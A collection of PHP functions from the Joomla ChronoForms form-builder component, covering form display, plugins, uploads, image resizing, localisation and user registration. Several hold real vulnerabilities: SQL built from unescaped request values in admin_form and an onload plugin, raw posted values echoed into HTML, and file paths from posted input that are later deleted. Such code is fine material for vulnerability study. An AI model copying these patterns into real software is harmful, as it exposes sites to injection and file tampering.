function getForm($formname) { global $mainframe; $database =& JFactory::getDBO(); $posted = JRequest::get('post', JREQUEST_ALLOWRAW); $MyModForm =& CFChronoForm::getInstance($formname); $MyModForm->pagetype = 'module'; $session =& JFactory::getSession(); $MyModForm->formerrors = $session->get('chrono_form_errors_' . $formname, '', md5('chrono')); if ($session->get('chrono_form_data_' . $formname, array(), md5('chrono'))) { $posted = $session->get('chrono_form_data_' . $formname, array(), md5('chrono')); //print_r($posted); } $MyModForm->showForm($formname, $posted); }
function runPlugin($emailevent, $events = array('ONSUBMIT', 'ONLOADONSUBMIT'), $pluginname = '', $pluginObject = array()) { global $mainframe; $database =& JFactory::getDBO(); $posted = JRequest::get('post', JREQUEST_ALLOWRAW); //form instance $formname = CFChronoForm::getFormName($this->thisformid); $MyForm =& CFChronoForm::getInstance($formname); $qouted_events = array(); foreach ($events as $event) { $qouted_events[] = $database->Quote($event); } $pluginevent = implode(",", $qouted_events); //emails instance $ava_plugins = explode(",", $MyForm->formparams('plugins')); $ava_plugins_order = explode(",", $MyForm->formparams('mplugins_order')); array_multisort($ava_plugins_order, $ava_plugins); //if a plugin name is specified then execute it only if ($pluginname) { $ava_plugins = explode(",", $pluginname); } foreach ($ava_plugins as $ava_plugin) { $query = "SELECT * FROM `#__chrono_contact_plugins` WHERE `form_id` = '" . $MyForm->formrow->id . "' AND event IN (" . $pluginevent . ") AND `name` = '" . $ava_plugin . "'"; $database->setQuery($query); $plugins = $database->loadObjectList(); if (is_object($pluginObject)) { $plugins[0] = $pluginObject; } if (count($plugins)) { require_once JPATH_SITE . "/components/com_chronocontact/plugins/" . $ava_plugin . ".php"; ${$ava_plugin} = new $ava_plugin(); $params = new JParameter($plugins[0]->params); $methods = get_class_methods(${$ava_plugin}); if (in_array('onsubmit', $methods) && in_array('ONSUBMIT', $events) && in_array('ONLOADONSUBMIT', $events) && $emailevent) { if ($params->get('onsubmit') == $emailevent) { ${$ava_plugin}->onsubmit('com_chronocontact', $params, $plugins[0]); } } if (in_array('onload', $methods) && in_array('ONLOAD', $events) && in_array('ONLOADONSUBMIT', $events) && !$emailevent) { $MyForm->formrow->html = ${$ava_plugin}->onload('com_chronocontact', $plugins[0], $params, $MyForm->formrow->html); } } //check for any errors reported by current plugin and halt the loop if ($MyForm->formerrors) { break; } } }
function _displayForm($formname) { $form = CFChronoForm::getInstance($formname, true); if (empty($form->form_name)) { return "There is no form with this name or may be the form is unpublished, Please check the form and the url and the form management."; } $loaded_form = JRequest::getVar('chronoform'); if (!empty($loaded_form) && trim($loaded_form) != $form->form_name) { $event = ''; } else { $event = JRequest::getVar('event'); } if (empty($event)) { $event = 'load'; } $form->process($event); ob_start(); HTML_ChronoForms::processView($form); $output = ob_get_clean(); return $output; }
function runCode($type, $emailevent = '') { global $mainframe; $database =& JFactory::getDBO(); $posted = JRequest::get('post', JREQUEST_ALLOWRAW); //form instance $formname = CFChronoForm::getFormName($this->thisformid); $MyForm =& CFChronoForm::getInstance($formname); //emails instance $MyFormEmails =& CFEMails::getInstance($MyForm->formrow->id); //run code if ($type == 'onsubmitcode') { if (!empty($MyForm->formrow->onsubmitcode)) { ob_start(); eval("?>" . $MyForm->formrow->onsubmitcode); $onsubmitcode = ob_get_clean(); foreach ($posted as $name => $post) { if (is_array($post)) { $post = implode(", ", $post); } $onsubmitcode = str_replace("{" . $name . "}", $post, $onsubmitcode); } echo $onsubmitcode; } } if ($type == 'onsubmitcodeb4') { if (!empty($MyForm->formrow->onsubmitcodeb4)) { eval("?>" . $MyForm->formrow->onsubmitcodeb4); } } if ($type == 'autogenerated') { if ($MyForm->formparams('savedataorder') == $emailevent) { if (!empty($MyForm->formrow->autogenerated)) { eval("?>" . $MyForm->formrow->autogenerated); } } } }
function showform2(&$matches) { global $mainframe; $posted = JRequest::get('post', JREQUEST_ALLOWRAW); $database =& JFactory::getDBO(); $matches[0] = preg_replace('/{chronocontact}/i', '', $matches[0]); $matches[0] = preg_replace('/{\\/chronocontact}/i', '', $matches[0]); $formname = $matches[0]; $plugin =& JPluginHelper::getPlugin('content', 'chronocontact'); $botParams = new JParameter($plugin->params); $type = $botParams->def('type', 1); $MyForm =& CFChronoForm::getInstance($formname); $MyForm->pagetype = 'plugin'; $session =& JFactory::getSession(); $MyForm->formerrors = $session->get('chrono_form_errors_' . $formname, '', md5('chrono')); if ($session->get('chrono_form_data_' . $formname, array(), md5('chrono'))) { $posted = $session->get('chrono_form_data_' . $formname, array(), md5('chrono')); //print_r($posted); } ob_start(); $MyForm->showForm($formname, $posted); return $result = ob_get_clean(); ob_end_clean(); }
function run($form, $actiondata) { $params = new JParameter($actiondata->params); //get the form name $formname = $params->get('form_name', ''); if (!empty($formname)) { $method = $params->get('action_taken', ''); //get the event to load $event = $params->get('form_event', 'load'); if (!trim($event)) { $event = 'load'; } //switch the showing method if ($method == 'load') { $MyForm = CFChronoForm::getInstance($formname); $MyForm->process($event); HTML_ChronoForms::processView($MyForm); } else { $mainframe =& JFactory::getApplication(); $form_url = "index.php?option=com_chronoforms&chronoform=" . $formname . "&event=" . $event; $mainframe->redirect($form_url); } } }
function onsubmit($option, $params, $row) { global $mainframe; $db =& JFactory::getDBO(); $pluginrow = $row; $formname = JRequest::getVar('chronoformname'); $MyForm =& CFChronoForm::getInstance($formname); $posted = JRequest::get('post', JREQUEST_ALLOWRAW); $session =& JFactory::getSession(); $session->set("chrono_next_step", 'confirm', md5('chrono')); //show the form if (!empty($MyForm->formrow->submiturl)) { $actionurl = $MyForm->formrow->submiturl; } else { $actionurl = JURI::Base() . 'index.php?option=com_chronocontact&task=beforeshow&chronoformname=' . $MyForm->formrow->name; if (JRequest::getInt('Itemid')) { $actionurl = $actionurl . '&Itemid=' . JRequest::getInt('Itemid'); } } $multipart = ""; if ($MyForm->formparams('uploads') == 'Yes') { $multipart = ' enctype="multipart/form-data"'; } echo "<form name='ChronoContact_" . $MyForm->formrow->name . "'\r\r\n id='ChronoContact_" . $MyForm->formrow->name . "'\r\r\n method='" . $MyForm->formparams('formmethod') . "'\r\r\n {$multipart}\r\r\n action='{$actionurl}' " . $MyForm->formrow->attformtag . " >"; //run the confirmation page code if (!empty($pluginrow->extra1)) { ob_start(); eval("?>" . $pluginrow->extra1); $extra1 = ob_get_clean(); foreach ($posted as $name => $post) { if (is_array($post)) { $post = implode(", ", $post); } $extra1 = str_replace("{" . $name . "}", $post, $extra1); echo '<input type="hidden" name="' . $name . '" value="' . $post . '" /> '; } echo $extra1; } if ($params->get('buttons') == '1') { ?> <div class="form_element cf_button"> <input type="submit" name="confirm" value="<?php echo $params->get('submit_button_value'); ?> "/> <input type="submit" name="confirm" value="<?php echo $params->get('back_button_value'); ?> "/> </div> <?php } echo JHTML::_('form.token'); ?> </form> <?php //exit the form routine $MyForm->stoprunning = true; return; }
function onsubmit($option, $params, $plugin) { define('RECAPTCHA_VERIFY_SERVER', $params->get('verify_server')); $MyForm =& CFChronoForm::getInstance(); $posted = JRequest::get('post', JREQUEST_ALLOWRAW); $resp = cf_recaptcha::recaptcha_check_answer($params->get('private_key'), $_SERVER["REMOTE_ADDR"], JRequest::getVar("recaptcha_challenge_field"), JRequest::getVar("recaptcha_response_field")); if (!$resp->is_valid) { global $mainframe; //, $errorfound, $stoprunning; $message = "The reCAPTCHA wasn't entered correctly. Go back and try it again<br />\n \t( reCAPTCHA said: " . $resp->error . " )"; $MyForm->addErrorMsg($message); $MyForm->error_found = true; $MyForm->stoprunning = true; //$MyForm->showForm($MyForm->formrow->name, $posted); } }
function admin_form() { require_once JPATH_SITE . DS . 'components' . DS . 'com_chronoforms' . DS . 'libraries' . DS . 'chronoform.php'; require_once JPATH_SITE . DS . 'components' . DS . 'com_chronoforms' . DS . 'chronoforms.html.php'; $formname = JRequest::getVar('chronoform', ''); $form_id = JRequest::getVar('form_id', ''); $event = JRequest::getVar('event'); if (empty($formname)) { if (empty($form_id)) { $mainframe->redirect("index.php?option=com_chronoforms", "Form doesn't exist!"); } else { $row =& JTable::getInstance('chronoforms', 'Table'); $row->load((int) $form_id); $formname = $row->name; //load some table data $database =& JFactory::getDBO(); $table_name = $_POST['table_name']; $result = $database->getTableFields(array($table_name), false); $table_fields = $result[$table_name]; $primary = ''; foreach ($table_fields as $table_field => $field_data) { if ($field_data->Key == 'PRI') { $primary = $table_field; } } if (empty($primary)) { JError::raiseWarning(100, "No table key found."); $mainframe->redirect("index.php?option=com_chronoforms"); } //get record data if (isset($_POST['cb']) && !empty($_POST['cb'])) { $_POST['cf_id'] = $_POST['cb'][0]; //load all selected records data $database->setQuery("SELECT * FROM " . $table_name . " WHERE " . $primary . " IN ('" . implode("','", $_POST['cb']) . "')"); $_POST['chronoform_data'] = $rows_data = $database->loadAssocList(); } else { //JError::raiseWarning(100, "Invalid record."); //$mainframe->redirect("index.php?option=com_chronoforms"); } } } $form = CFChronoForm::getInstance($formname); $form->admin = true; //check if the event is the CSV export if ($event == 'cf_csv_export') { $csv_event = array('events' => array('cf_csv_export' => array('actions' => array('cfaction_csv_export_gh_9999' => array('events' => array('cfaction_csv_export_gh_9999_success' => array(), 'cfaction_csv_export_gh_9999_failed' => array())))))); $form->form_details->events_actions_map = base64_encode(serialize($csv_event)); $csv_action_data = new stdClass(); $csv_action_data->type = 'csv_export_gh'; $csv_action_data->order = 9999; $csv_action_data->enabled = 1; $csv_action_params = new JParameter(''); $csv_action_params->set('download_export', 1); $csv_action_params->set('download_nosave', 1); $csv_action_data->params = $csv_action_params->toString(); $csv_action_data->content1 = ''; $form->form_actions[] = $csv_action_data; } $form->process($event); HTML_ChronoForms::processView($form); }
preg_match($pattern_name, $match, $matches_name); if (!in_array($matches_name[2], $skippedarray)) { $pattern_textarea2 = '/(<textarea(.*?)>)(.*?)(<\\/textarea>)/is'; $newtextarea_match = preg_replace($pattern_textarea2, '${1}<?php echo $post[\'' . $matches_name[2] . '\']; ?>${4}', $match); $MyForm->formrow->html = str_replace($match, $newtextarea_match, $MyForm->formrow->html); } } //select boxes $pattern_select = '/<select(.*?)select>/is'; $matches = array(); preg_match_all($pattern_select, $MyForm->formrow->html, $matches); foreach ($matches[0] as $match) { $selectmatch = $match; $pattern_select2 = '/<select([^>]*?)>/is'; preg_match_all($pattern_select2, $match, $matches2); $options = preg_replace(array('/' . CFChronoForm::cfskipregex($matches2[0][0]) . '/is', '/<\\/select>/i'), array('', ''), $match); $pattern_name = '/name=("|\')(.*?)("|\')/i'; preg_match($pattern_name, $matches2[0][0], $matches_name); if (!in_array(str_replace('[]', '', $matches_name[2]), $skippedarray)) { //multi select if (strpos($matches_name[2], '[]')) { $pattern_options = '/<option(.*?)<\\/option>/is'; preg_match_all($pattern_options, $options, $matches_options); foreach ($matches_options[0] as $matches_option) { $pattern_value = '/value=("|\')(.*?)("|\')/i'; preg_match($pattern_value, $matches_option, $matches_value); $optionmatch = preg_replace('/<option/i', '<option <?php if(in_array("' . $matches_value[2] . '", explode(", ", $post["' . str_replace('[]', '', $matches_name[2]) . '"])))echo \'selected="selected"\'; ?>', $matches_option); $selectmatch = str_replace($matches_option, $optionmatch, $selectmatch); } //single select } else {
function handleUploads($posted = array()) { global $mainframe; $database =& JFactory::getDBO(); if (empty($posted)) { $posted = JRequest::get('post', JREQUEST_ALLOWRAW); } //form instance //$MyForm =& CFChronoForm::getInstance(); $formname = CFChronoForm::getFormName($this->thisformid); $MyForm =& CFChronoForm::getInstance($formname); $attachments = array(); if (is_array($MyForm->formparams('uploadfields'))) { $MyForm->setFormParam('uploadfields', implode('|', $MyForm->formparams('uploadfields'))); } else { $MyForm->setFormParam('uploadfields', $MyForm->formparams('uploadfields')); } if (trim($MyForm->formparams('uploads') == 'Yes') && trim($MyForm->formparams('uploadfields'))) { jimport('joomla.utilities.error'); jimport('joomla.filesystem.file'); if (!JFile::exists(JPATH_SITE . DS . 'components' . DS . 'com_chronocontact' . DS . 'uploads' . DS . $MyForm->formrow->name . DS . 'index.html')) { if (!JFolder::create($MyForm->formparams('uploadpath', JPATH_SITE . DS . 'components' . DS . 'com_chronocontact' . DS . 'uploads' . DS . $MyForm->formrow->name))) { JError::raiseWarning(100, 'Couldn\'t create upload directroy 1'); } if (!JFile::write($MyForm->formparams('uploadpath', JPATH_SITE . DS . 'components' . DS . 'com_chronocontact' . DS . 'uploads' . DS . $MyForm->formrow->name) . DS . 'index.html', 'NULL')) { JError::raiseWarning(100, 'Couldn\'t create upload directroy 2'); } } $allowed_s1 = explode(",", trim($MyForm->formparams('uploadfields'))); foreach ($allowed_s1 as $allowed_1) { $allowed_s2 = explode(":", trim($allowed_1)); $allowed_s3 = explode("|", trim($allowed_s2[1])); $allowed_s4 = explode("{", trim($allowed_s3[count($allowed_s3) - 1])); $allowed_s3[count($allowed_s3) - 1] = $allowed_s4[0]; $allowed_s5 = explode("-", str_replace('}', '', trim($allowed_s4[1]))); $chronofile = JRequest::getVar($allowed_s2[0], array("error" => 4), 'files', 'array'); if ($chronofile["error"] == 0) { if ($chronofile['error']) { $MyForm->addDebugMsg('PHP returned this error for file upload by : ' . $allowed_s2[0] . ', PHP error is: ' . $chronofile['error']); } else { $MyForm->addDebugMsg('Upload routine started for file upload by : ' . $allowed_s2[0]); } $chronofile['name'] = JFile::makeSafe($chronofile['name']); $original_name = $chronofile['tmp_name']; ob_start(); eval($MyForm->formparams('filename_format', "\$filename = date('YmdHis').'_'.\$chronofile['name'];")); $ignorethis = ob_get_clean(); //$filename = date('YmdHis').'_'.$chronofile['name']; $fileok = true; $posted[$allowed_s2[0]] = ' NOFILE '; JRequest::setVar($allowed_s2[0], ' NOFILE '); if ($chronofile['error'] == 1) { $fileok = false; $MyForm->addErrorMsg($MyForm->formparams('upload_exceedslimit', 'Sorry, Your uploaded file size exceeds the allowed limit.')); } if ($original_name) { if ($chronofile["size"] / 1024 > trim($allowed_s5[0])) { $fileok = false; $MyForm->addErrorMsg($MyForm->formparams('upload_exceedslimit', 'Sorry, Your uploaded file size exceeds the allowed limit.')); } if ($chronofile["size"] / 1024 < trim($allowed_s5[1])) { $fileok = false; $MyForm->addErrorMsg($MyForm->formparams('upload_lesslimit', 'Sorry, Your uploaded file size is less than the allowed limit')); } $fn = $chronofile['name']; $fext = substr($fn, strrpos($fn, '.') + 1); if (!in_array(strtolower($fext), $allowed_s3)) { $fileok = false; $MyForm->addErrorMsg($MyForm->formparams('upload_notallowed', 'Sorry, Your uploaded file type is not allowed')); } if ($fileok) { $uploadpath = $MyForm->formparams('uploadpath', JPATH_SITE . DS . 'components' . DS . 'com_chronocontact' . DS . 'uploads' . DS . $MyForm->formrow->name . DS); $uploadedfile = JFile::upload($original_name, $uploadpath . $filename); $posted[$allowed_s2[0]] = $filename; JRequest::setVar($allowed_s2[0], $filename); if ($uploadedfile) { $attachments[$allowed_s2[0]] = $uploadpath . $filename; $MyForm->addDebugMsg($uploadpath . $filename . ' has been uploaded OK'); } else { $MyForm->addDebugMsg($uploadpath . $filename . ' has NOT been uploaded!!'); } } } } } $this->attachments = $attachments; } return $posted; }
/** * The function executed when the form is loaded * Returns an amended $html_string * */ function onload($option, $pluginrow, $params, $html_string) { global $mainframe; $my =& JFactory::getUser(); $database =& JFactory::getDBO(); //$parid = JRequest::getVar($params->parameter, '', 'request', 'int', 0 ); if ($params->get('evaluate')) { ob_start(); eval("?>" . $html_string); $html_string = ob_get_clean(); } $parid = JRequest::getVar($params->get('parameter')); if ($parid) { $record_id = $parid; } else { if ($params->get('default_param_value')) { $record_id = $params->get('default_param_value'); } else { $record_id = $my->id; if ($record_id == 0) { //$record_id = '##guest##'; } } } if (!$record_id) { $result = $database->getTableFields($params->get('table_name', '#__users')); $table_fields = array_keys($result[$params->get('table_name', '#__users')]); foreach ($table_fields as $table_field) { $html_string = str_replace("{" . $table_field . "}", '', $html_string); } } else { $query = "SELECT * FROM `" . $params->get('table_name') . "` WHERE `" . $params->get('field_name') . "` = '{$record_id}' ORDER BY `" . $params->get('field_name') . "` " . $params->get('ordertype', 'ASC') . ";"; //$mainframe->enqueuemessage($query); $database->setQuery($query); $row = $database->loadObject(); if ($row) { $tables = array($params->get('table_name')); $result = $database->getTableFields($tables); $table_fields = array_keys($result[$params->get('table_name')]); foreach ($table_fields as $table_field) { $html_string = str_replace("{" . $table_field . "}", $row->{$table_field}, $html_string); } } else { $tables = array($params->get('table_name')); $result = $database->getTableFields($tables); $table_fields = array_keys($result[$params->get('table_name')]); foreach ($table_fields as $table_field) { $html_string = str_replace("{" . $table_field . "}", '', $html_string); } } } if ($params->get('editable')) { $query = "SELECT * FROM `" . $params->get('table_name') . "` WHERE `" . $params->get('field_name') . "` = '{$record_id}' ORDER BY `" . $params->get('field_name') . "` " . $params->get('ordertype', 'ASC') . ";"; $database->setQuery($query); $datarow = $database->loadAssoc(); $formname = JRequest::getVar('chronoformname'); if (!$formname) { $params =& $mainframe->getPageParameters('com_chronocontact'); $formname = $params->get('formname'); } $MyForm =& CFChronoForm::getInstance($formname); $MyForm->posted = $datarow; $skippedarray = explode(",", $params->get('skippedarray')); //get all fields names preg_match_all('/name=("|\')([^(>|"|\')]*?)("|\')/i', $html_string, $fieldsnamesmatches); $allfieldsnames = array(); foreach ($fieldsnamesmatches[2] as $fieldsnamesmatche) { if (strpos($fieldsnamesmatche, '[]')) { $fieldsnamesmatche = str_replace('[]', '', $fieldsnamesmatche); } $allfieldsnames[] = trim($fieldsnamesmatche); } $allfieldsnames = array_unique($allfieldsnames); //print_r($allfieldsnames ); foreach ($allfieldsnames as $allfieldsname) { if (!isset($MyForm->posted[$allfieldsname])) { $MyForm->posted[$allfieldsname] = ''; } else { $MyForm->posted[$allfieldsname] = htmlentities($MyForm->posted[$allfieldsname], ENT_QUOTES, 'UTF-8'); } } //end fields names if (count($datarow)) { //text fields $pattern_input = '/<input([^>]*?)type=("|\')(text|password)("|\')([^>]*?)>/is'; $matches = array(); preg_match_all($pattern_input, $html_string, $matches); foreach ($matches[0] as $match) { $pattern_value = '/value=("|\')(.*?)("|\')/i'; $pattern_name = '/name=("|\')(.*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); if (!in_array($matches_name[2], $skippedarray)) { $valuematch = preg_replace($pattern_value, '', $match); $namematch = preg_replace($pattern_name, 'name="${2}" value="<?php echo $MyForm->posted[\'${2}\']; ?>"', $valuematch); $html_string = str_replace($match, $namematch, $html_string); } } //hidden fields $pattern_input = '/<input([^>]*?)type=("|\')hidden("|\')([^>]*?)>/is'; $matches = array(); preg_match_all($pattern_input, $html_string, $matches); foreach ($matches[0] as $match) { $pattern_value = '/value=("|\')(.*?)("|\')/i'; $pattern_name = '/name=("|\')(.*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); if (!in_array($matches_name[2], $skippedarray)) { $valuematch = preg_replace($pattern_value, '', $match); $namematch = preg_replace($pattern_name, 'name="${2}" value="<?php echo $MyForm->posted[\'${2}\']; ?>"', $valuematch); $html_string = str_replace($match, $namematch, $html_string); } } //checkboxes or radios fields $pattern_input = '/<input([^>]*?)type=("|\')(checkbox|radio)("|\')([^>]*?)>/is'; $matches = array(); preg_match_all($pattern_input, $html_string, $matches); foreach ($matches[0] as $match) { $pattern_value = '/value=("|\')(.*?)("|\')/i'; $pattern_name = '/name=("|\')(.*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); preg_match($pattern_value, $match, $matches_value); if (!in_array(str_replace('[]', '', $matches_name[2]), $skippedarray)) { //multi values if (strpos($matches_name[2], '[]')) { $namematch = preg_replace($this->skipregex($pattern_name), 'name="${2}" <?php if(in_array("' . $matches_value[2] . '", explode(", ", $MyForm->posted["' . str_replace('[]', '', $matches_name[2]) . '"])))echo \'checked="checked"\'; ?>', $match); //single values } else { $namematch = preg_replace($pattern_name, 'name="${2}" <?php if($MyForm->posted["' . $matches_name[2] . '"] == "' . $matches_value[2] . '")echo \'checked="checked"\'; ?>', $match); } $html_string = str_replace($match, $namematch, $html_string); } } //textarea fields $pattern_textarea = '/<textarea([^>]*?)>(.*?)<\\/textarea>/is'; $matches = array(); preg_match_all($pattern_textarea, $html_string, $matches); $namematch = ''; foreach ($matches[0] as $match) { $pattern_value = '/value=("|\')(.*?)("|\')/i'; $pattern_name = '/name=("|\')(.*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); if (!in_array($matches_name[2], $skippedarray)) { $pattern_textarea2 = '/(<textarea(.*?)>)(.*?)(<\\/textarea>)/is'; $newtextarea_match = preg_replace($pattern_textarea2, '${1}<?php echo $MyForm->posted[\'' . $matches_name[2] . '\']; ?>${4}', $match); $html_string = str_replace($match, $newtextarea_match, $html_string); } } //select boxes $pattern_select = '/<select(.*?)select>/is'; $matches = array(); preg_match_all($pattern_select, $html_string, $matches); foreach ($matches[0] as $match) { $selectmatch = $match; $pattern_select2 = '/<select([^>]*?)>/is'; preg_match_all($pattern_select2, $match, $matches2); $options = preg_replace(array('/' . $this->skipregex($matches2[0][0]) . '/is', '/<\\/select>/i'), array('', ''), $match); $pattern_name = '/name=("|\')(.*?)("|\')/i'; preg_match($pattern_name, $matches2[0][0], $matches_name); if (!in_array(str_replace('[]', '', $matches_name[2]), $skippedarray)) { //multi select if (strpos($matches_name[2], '[]')) { $pattern_options = '/<option(.*?)<\\/option>/is'; preg_match_all($pattern_options, $options, $matches_options); foreach ($matches_options[0] as $matches_option) { $pattern_value = '/value=("|\')(.*?)("|\')/i'; preg_match($pattern_value, $matches_option, $matches_value); $optionmatch = preg_replace('/<option/i', '<option <?php if(in_array("' . $matches_value[2] . '", explode(", ", $MyForm->posted["' . str_replace('[]', '', $matches_name[2]) . '"])))echo \'selected="selected"\'; ?>', $matches_option); $selectmatch = str_replace($matches_option, $optionmatch, $selectmatch); } //single select } else { $pattern_options = '/<option(.*?)<\\/option>/is'; preg_match_all($pattern_options, $options, $matches_options); foreach ($matches_options[0] as $matches_option) { $pattern_value = '/value=("|\')(.*?)("|\')/i'; preg_match($pattern_value, $matches_option, $matches_value); $optionmatch = preg_replace('/<option/i', '<option <?php if($MyForm->posted["' . $matches_name[2] . '"] == "' . $matches_value[2] . '")echo \'selected="selected"\'; ?>', $matches_option); $selectmatch = str_replace($matches_option, $optionmatch, $selectmatch); } } $html_string = str_replace($match, $selectmatch, $html_string); } } } } return $html_string; }
function onsubmit($option, $params, $row) { global $mainframe; /*require_once(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_chronocontact' .DS.'helpers'.DS.'plugin.php'); $helper = new ChronoContactHelperPlugin();*/ //$user =& JFactory::getUser(); $formname = JRequest::getVar('chronoformname'); $MyForm =& CFChronoForm::getInstance($formname); //echo '<div>$MyForm->formparams(uploadpath): '.print_r($MyForm->formparams('uploadpath'), true).'</div>'; // Common parameters $formname = JRequest::getVar('chronoformname', 'unknown'); $chronouploads = $MyForm->formparams('uploadpath'); $photo = JRequest::getVar($params->get('photo'), '', 'post', 'string', JREQUEST_ALLOWRAW); $quality = $params->get('quality'); $filein = $chronouploads . $photo; $dir = ''; if ($params->get('big_directory')) { $dir .= $params->get('big_directory'); } else { $dir .= $chronouploads; } // add a final slash if needed if (substr($dir, -1) != DS) { $dir .= DS; } // treatment of the large image $fileout = $dir . $params->get('big_image_prefix') . $photo . $params->get('big_image_suffix'); $crop = $params->get('big_image_method'); $imagethumbsize_w = $params->get('big_image_width'); $imagethumbsize_h = $params->get('big_image_height'); $red = $params->get('big_image_r'); $green = $params->get('big_image_g'); $blue = $params->get('big_image_b'); if ($crop) { $this->resizeThenCrop($filein, $fileout, $imagethumbsize_w, $imagethumbsize_h, $red, $green, $blue, $quality); } else { $this->resize($filein, $fileout, $imagethumbsize_w, $imagethumbsize_h, $red, $green, $blue, $quality); } // treatment of the medium image $dir = ''; if ($params->get('med_directory')) { $dir .= $params->get('med_directory'); } else { $dir .= $chronouploads; } // add a final slash if needed if (substr($dir, -1) != DS) { $dir .= DS; } $fileout = $dir . $params->get('med_image_prefix') . $photo . $params->get('med_image_suffix'); $crop = $params->get('med_image_method'); $imagethumbsize_w = $params->get('med_image_width'); $imagethumbsize_h = $params->get('med_image_height'); $red = $params->get('med_image_r'); $green = $params->get('med_image_g'); $blue = $params->get('med_image_b'); $usemed = $params->get('med_image_use'); if ($usemed) { if ($crop) { $this->resizeThenCrop($filein, $fileout, $imagethumbsize_w, $imagethumbsize_h, $red, $green, $blue, $quality); } else { $this->resize($filein, $fileout, $imagethumbsize_w, $imagethumbsize_h, $red, $green, $blue, $quality); } } // treatment of the small image $dir = ''; if ($params->get('small_directory')) { $dir .= $params->get('small_directory'); } else { $dir .= $chronouploads; } // add a final slash if needed if (substr($dir, -1) != DS) { $dir .= DS; } $fileout = $dir . $params->get('small_image_prefix') . $photo . $params->get('small_image_suffix'); $crop = $params->get('small_image_method'); $imagethumbsize_w = $params->get('small_image_width'); $imagethumbsize_h = $params->get('small_image_height'); $red = $params->get('small_image_r'); $green = $params->get('small_image_g'); $blue = $params->get('small_image_b'); $usesmall = $params->get('small_image_use'); if ($usesmall) { if ($crop) { $this->resizeThenCrop($filein, $fileout, $imagethumbsize_w, $imagethumbsize_h, $red, $green, $blue, $quality); } else { $this->resize($filein, $fileout, $imagethumbsize_w, $imagethumbsize_h, $red, $green, $blue, $quality); } } if ($params->get('delete_original')) { unlink($filein); } }
function onload($option, $row, $params, $html_string) { global $mainframe; //echo "---- ON LOAD ----<br>"; //$params = JComponentHelper::getParams('com_languages'); $frontend_lang = JComponentHelper::getParams('com_languages')->get('site', 'tr-TR'); $LangTag = $frontend_lang; $formname = JRequest::getVar('chronoformname'); if (!$formname) { $formname = $params->get('formname'); } $MyForm =& CFChronoForm::getInstance($formname); $LangCount = 1; $LangArray = array(); $Lang_Temp_Array = array(); $cfLangDone = false; $default_lang = trim($params->get('default_language')); $supportedLanguages = explode(',', trim($params->get('languages'))); // Look for the language ID, set to the defautl if not found (or 1 if no default) if (array_search($LangTag, $supportedLanguages) === FALSE) { $lang_id = array_search($default_lang, $supportedLanguages); } else { $lang_id = array_search($LangTag, $supportedLanguages); } // increment lang_id to start with 1 $lang_id++; $LangData = $row->{"extra" . $lang_id}; $Lang_Temp_Array = explode("\n", $LangData); foreach ($Lang_Temp_Array as $Lang_Temp_Element) { $This_Lang_Element = explode('=', $Lang_Temp_Element, 2); if (!($This_Lang_Element[0] && $This_Lang_Element[1])) { break; } $html_string = str_replace($This_Lang_Element[0], $This_Lang_Element[1], $html_string); if ($MyForm->formerrors) { $MyForm->formerrors = str_replace($This_Lang_Element[0], $This_Lang_Element[1], $MyForm->formerrors); } } // if($LangTag == "tr-TR"){ // $val_eng = explode(",", "This field is required,Please enter a valid number in this field,Please use numbers only in this field,Please use letters only (a-z) in this field,Please use letters only (a-z) or numbers (0-9) in this field,Please enter a valid date in this format yyyy/mm/dd,Please enter a valid email address,Please enter a valid URL,Please use this date format: dd/mm/yyyy,Please enter a valid $ amount,Please make sure that the two fields match,Please select one of the options,Please make a selection"); // $val_tr = explode(",", "Bu alan gerekli,Geçerli bir sayı giriniz,Sadece sayıları kullanınız,Sadece harf(a-z) giriniz,Sadece harf veya sayı giriniz,Geçerli bir tarih giriniz(yyyy/aa/gg),Geçerli bir e-posta adresi giriniz,Geçerli bir bağlantı giriniz,Lütfen tarih için şu biçimi kullanınız: gg/aa/yyyy,Geçerli bir miktar giriniz,İki alanın aynı olduğundan emin olunuz,Bir seçeneği işaretleyiniz,Bir seçim yapınız"); // // $index=0; // for(;isset($val_eng[$index]) && isset($val_tr[$index]);$index++){ // $html_string = str_replace($val_eng[$index], $val_tr[$index], $html_string); // } // } return $html_string; }
//load chronoforms classes require_once JPATH_COMPONENT . DS . 'libraries' . DS . 'chronoform.php'; jimport('joomla.application.component.controller'); jimport('joomla.application.component.helper'); jimport('joomla.html.parameter'); $mainframe = JFactory::getApplication(); $formname = JRequest::getVar('chronoform'); $event = JRequest::getVar('event'); if (empty($formname)) { $params = $mainframe->getPageParameters('com_chronoforms'); $formname = $params->get('formname'); if (empty($event)) { $event = $params->get('event'); } } $MyForm = CFChronoForm::getInstance($formname); if (empty($MyForm->form_name)) { echo "There is no form with this name or may be the form is unpublished, Please check the form and the url and the form management."; return; } //Main switch statement if (empty($event)) { $event = 'load'; } process($MyForm, $event); /*switch($task){ case 'submit': process($MyForm, 'submit'); break; default: process($MyForm, $task);
function onsubmit($option, $params, $row) { global $mainframe; $database =& JFactory::getDBO(); // Check for request forgeries //JRequest::checkToken() or die( 'Invalid Token' ); // Get required system objects $user = clone JFactory::getUser(); $pathway =& $mainframe->getPathway(); $config =& JFactory::getConfig(); $authorize =& JFactory::getACL(); $document =& JFactory::getDocument(); $language =& JFactory::getLanguage(); $language->load('com_user'); $MyForm =& CFChronoForm::getInstance(); $MyPlugins =& CFPlugins::getInstance($MyForm->formrow->id); /*********do the before onsubmit code**********/ if (!empty($row->extra4)) { eval("?>" . $row->extra4); } // If user registration is not allowed, show 403 not authorized. $usersConfig =& JComponentHelper::getParams('com_users'); if ($usersConfig->get('allowUserRegistration') == '0') { JError::raiseError(403, JText::_('Access Forbidden')); return; } // Initialize new usertype setting $newUsertype = $usersConfig->get('new_usertype'); if (!$newUsertype) { $newUsertype = 'Registered'; } // Bind the post array to the user object $post = JRequest::get('post'); $post['username'] = JRequest::getVar($params->get('username'), '', 'post', 'username'); $post['name'] = JRequest::getVar($params->get('name'), '', 'post', 'name'); $post['email'] = JRequest::getVar($params->get('email'), '', 'post', 'email'); $post['password'] = JRequest::getVar($params->get('pass'), '', 'post', 'string', JREQUEST_ALLOWRAW); $post['password2'] = JRequest::getVar($params->get('vpass'), '', 'post', 'string', JREQUEST_ALLOWRAW); if (!$user->bind($post, 'usertype')) { JError::raiseError(500, $user->getError()); } // Set some initial user values $user->set('id', 0); $user->set('usertype', 